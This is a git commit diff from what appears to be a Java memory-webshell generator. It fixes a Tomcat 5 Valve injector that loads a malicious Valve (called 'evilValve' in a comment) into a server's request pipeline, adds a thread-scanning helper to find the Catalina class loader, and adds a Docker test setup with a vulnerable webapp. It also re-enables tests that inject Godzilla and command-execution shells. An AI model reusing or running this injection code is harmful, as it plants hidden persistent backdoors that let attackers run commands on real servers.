fix: tomcat5 valve not work

This commit is contained in:
ReaJason
2024-12-09 01:27:08 +08:00
parent 12519d4a0f
commit e28ddf9972
3 changed files with 32 additions and 17 deletions
@@ -97,10 +97,7 @@ public class TomcatValveInjector {
@SuppressWarnings("all")
private Object getValve(Object context) {
Object valve = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
ClassLoader classLoader = context.getClass().getClassLoader();
try {
valve = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
@@ -163,16 +160,11 @@ public class TomcatValveInjector {
return;
}
try {
Class ValveClass;
try {
ValveClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.Valve");
} catch (Exception e) {
ValveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
}
Class valveClass;
String valveClassName = "org.apache.catalina.Valve";
valveClass = context.getClass().getClassLoader().loadClass(valveClassName);
Object obj = invokeMethod(context, "getPipeline");
// Object obj = STANDARD_CONTEXT.getClass().getMethod("getPipeline").invoke(STANDARD_CONTEXT);
// obj.getClass().getMethod("addValve", Class.forName("org.apache.catalina.Valve")).invoke(obj,evilValve);
invokeMethod(obj, "addValve", new Class[]{ValveClass}, new Object[]{valve});
invokeMethod(obj, "addValve", new Class[]{valveClass}, new Object[]{valve});
} catch (Exception e) {
e.printStackTrace();
}
@@ -246,4 +238,17 @@ public class TomcatValveInjector {
}
}
}
public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
ClassLoader catalinaLoader = null;
for (Thread thread : threads) {
// 适配 v5 的 Class Loader 问题
if (thread.getName().contains("ContainerBackgroundProcessor")) {
catalinaLoader = thread.getContextClassLoader();
break;
}
}
return catalinaLoader;
}
}
@@ -0,0 +1,10 @@
services:
tomcat66:
image: reajason/tomcat:5-jdk6
ports:
- "8080:8080"
- "5005:5005"
environment:
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../vul-webapp/build/libs/vul-webapp.war:/usr/local/tomcat/webapps/app.war
@@ -4,9 +4,9 @@ import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memsell.packer.Packer;
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
@@ -36,9 +36,9 @@ public class Tomcat5ContainerTest {
// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化 Filter 时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP)
// arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,Caused by: java.lang.NoClassDefFoundError: org/apache/catalina/Valve
// arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP)
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP)
);
}